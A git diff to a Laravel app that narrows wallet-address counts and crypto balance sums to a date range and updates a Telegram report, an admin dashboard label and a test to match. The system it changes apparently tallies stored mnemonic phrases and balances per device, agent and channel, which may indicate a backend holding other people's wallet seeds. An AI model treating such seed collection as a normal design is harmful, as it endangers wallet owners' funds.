diff --git a/app/Services/DashboardStatsService.php b/app/Services/DashboardStatsService.php
index 9591931..33d2468 100644
--- a/app/Services/DashboardStatsService.php
+++ b/app/Services/DashboardStatsService.php
@@ -282,7 +282,7 @@ class DashboardStatsService
     }
 
     /**
-     * Address count is still in-range; coin sums are all matching addresses (no time window).
+     * Address count + coin sums in one pass over wallet_addresses in range.
      *
      * @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
      */
@@ -294,24 +294,20 @@ class DashboardStatsService
         Carbon $from,
         Carbon $to,
     ): array {
-        $base = $this->scopedDeviceChildren(
+        $q = $this->scopedDeviceChildren(
             WalletAddress::query(),
             'wallet_addresses',
             $agent,
             $agentUserId,
             $channelId,
             $channelExact,
-        );
+        )->whereBetween('wallet_addresses.created_at', [$from, $to]);
 
-        $addressCount = (clone $base)
-            ->whereBetween('wallet_addresses.created_at', [$from, $to])
-            ->count('wallet_addresses.id');
-
-        $selects = [];
+        $selects = ['COUNT(wallet_addresses.id) as addr_count'];
         foreach (WalletAddress::COIN_COLUMNS as $col) {
             $selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
         }
-        $row = (clone $base)->selectRaw(implode(', ', $selects))->first();
+        $row = $q->selectRaw(implode(', ', $selects))->first();
 
         $out = [];
         foreach (WalletAddress::COIN_COLUMNS as $col) {
@@ -321,7 +317,7 @@ class DashboardStatsService
         }
 
         /** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
-        return [$addressCount, $out];
+        return [(int) ($row?->addr_count ?? 0), $out];
     }
 
     /**
diff --git a/app/Telegram/Handlers/DataCommand.php b/app/Telegram/Handlers/DataCommand.php
index fca2b6c..c3bb143 100644
--- a/app/Telegram/Handlers/DataCommand.php
+++ b/app/Telegram/Handlers/DataCommand.php
@@ -92,7 +92,7 @@ class DataCommand
             '助记词: '.$data['mnemonic_count'],
             '钱包地址: '.$data['address_count'],
             '',
-            '💰 总余额（全部地址）',
+            '💰 总余额（区间内新增地址）',
             '• USDT '.$data['balances']['usdt'],
             '• TRX '.$data['balances']['trx'],
             '• BTC '.$data['balances']['btc'],
diff --git a/resources/views/admin/dashboard/index.blade.php b/resources/views/admin/dashboard/index.blade.php
index 18bf4a2..2f01af4 100644
--- a/resources/views/admin/dashboard/index.blade.php
+++ b/resources/views/admin/dashboard/index.blade.php
@@ -145,7 +145,7 @@
       </div>
     </div>
 
-    <div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">全部地址，不受时间范围影响</span></div>
+    <div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">区间内新增地址</span></div>
     <div class="dash-grid dash-grid-5">
       <div class="dash-tile">
         <div class="dash-tile-hd">USDT</div>
diff --git a/tests/Feature/AdminAgentPortalTest.php b/tests/Feature/AdminAgentPortalTest.php
index 7139ba6..3add3ca 100644
--- a/tests/Feature/AdminAgentPortalTest.php
+++ b/tests/Feature/AdminAgentPortalTest.php
@@ -390,7 +390,7 @@ class AdminAgentPortalTest extends TestCase
             ->assertJsonPath('data.wallet_count', 1)
             ->assertJsonPath('data.mnemonic_count', 1)
             ->assertJsonPath('data.address_count', 1)
-            ->assertJsonPath('data.balances.usdt', '8')
+            ->assertJsonPath('data.balances.usdt', '5')
             ->assertJsonPath('data.date_from', '2026-08-01')
             ->assertJsonPath('data.date_to', '2026-08-15');
     }